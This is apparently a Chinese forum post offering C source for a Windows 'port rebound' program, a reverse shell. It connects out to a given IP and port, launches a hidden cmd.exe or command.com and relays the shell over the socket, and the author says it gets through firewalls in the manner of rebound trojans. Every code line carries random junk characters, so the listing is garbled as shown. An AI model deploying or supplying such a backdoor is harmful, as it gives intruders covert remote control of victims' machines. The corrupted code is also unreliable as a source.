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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S4Pxc ]!  
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/* ============================== j5(Z_dm'  
Rebound port in Windows NT {dhXIs  
By wind,2006/7 _:ReN_0  
===============================*/ z{8bvuE  
#include KWq+PeB5TS  
#include B?OFe'*  
'3R`lv   
#pragma comment(lib,"wsock32.lib") $By< $  
8^kGS-+^  
void OutputShell(); /}((l%UE.  
SOCKET sClient; IY_iB*T3jt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]P9l jwR  
y;4OY  
void main(int argc,char **argv) 4(#'_jS  
{ 1NbG>E#Ol  
WSADATA stWsaData; MS nG3]{z  
int nRet; %2}-2}[>  
SOCKADDR_IN stSaiClient,stSaiServer; v3*_9e  
D.r<QO~6B  
if(argc != 3) 2+RUTOv/d  
{ yjO1 Ol  
printf("Useage:\n\rRebound DestIP DestPort\n"); .H escg/S  
return; Rm2yPuOU}A  
} _jvxc'6  
[xK3F+  
WSAStartup(MAKEWORD(2,2),&stWsaData); R#s )r  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n"h `5p5'  
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stSaiClient.sin_family = AF_INET; UBv,=v  
stSaiClient.sin_port = htons(0); df*#!D7oz  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EZgq ?l~5O  
59 h]UX=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Ka'=o?'B5  
{ nB_?ckj,  
printf("Bind Socket Failed!\n"); C>]0YO k2  
return; xI{)6t$`  
} g!|=%(G=  
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stSaiServer.sin_family = AF_INET; ^dI424  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kPKB|kP\  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ! :Y:pu0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ; 8_{e3s  
{ LHyB3V  
printf("Connect Error!"); G ?9"Y%  
return; _Ym]Mj' ln  
} zZ:>do\2  
OutputShell(); q?Cnav`DY  
} gK+ 4C  
SDC4L <!  
void OutputShell() R1s`z|?  
{ AKY1o.>z  
char szBuff[1024]; x/%aM1"X^  
SECURITY_ATTRIBUTES stSecurityAttributes; 1]d!~  
OSVERSIONINFO stOsversionInfo; ,D5cjaX<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9-sw!tKx  
STARTUPINFO stStartupInfo; gx-2v|pZ  
char *szShell; AL[KpY  
PROCESS_INFORMATION stProcessInformation; DMs,y{v  
unsigned long lBytesRead; b k~( ^!R  
Oylf<&knF\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M#ZcY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c\/=iVw,  
stSecurityAttributes.lpSecurityDescriptor = 0; :v YYfs&  
stSecurityAttributes.bInheritHandle = TRUE; E}%B;"b/Tj  
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N' F77 .  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); gBd]B03  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *tGY6=7O  
*}Xf!"I#]N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :Oy%a'w   
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [m- >5H  
stStartupInfo.wShowWindow = SW_HIDE; SDL7<ZaE  
stStartupInfo.hStdInput = hReadPipe; Eu0akqZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'Oxy$U   
XUrXnz|>  
GetVersionEx(&stOsversionInfo); PG2:~$L0  
(|F*vP'  
switch(stOsversionInfo.dwPlatformId) '"`IC\N^  
{ c& < Fr[AK  
case 1: dLH(D: `  
szShell = "command.com"; Upx G@b  
break; .Q<>-3\K  
default: "x%Htq@  
szShell = "cmd.exe"; nz%DM<0$  
break; C=-=_>Q,L<  
} 3W V"U  
zlyS}x@p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); '-wj9OU  
+20G>y=+  
send(sClient,szMsg,77,0); >3ZFzh&OYQ  
while(1) CMe 06^U   
{ tE.FrZS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P)"noG_'i  
if(lBytesRead) >d@&2FTO  
{ yZAS#ko}}  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ht|z<XJ  
send(sClient,szBuff,lBytesRead,0); vp1941P  
} r=Gks=NX"  
else E~,F  
{ q$p%ZefZ  
lBytesRead=recv(sClient,szBuff,1024,0); $Y;U[_l#  
if(lBytesRead<=0) break; z__EYh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -N6f1>}pE  
} 9K.Vb1&  
} EJj.1/]|r  
]E7F /O/.  
return; ,aOl_o -&  
}
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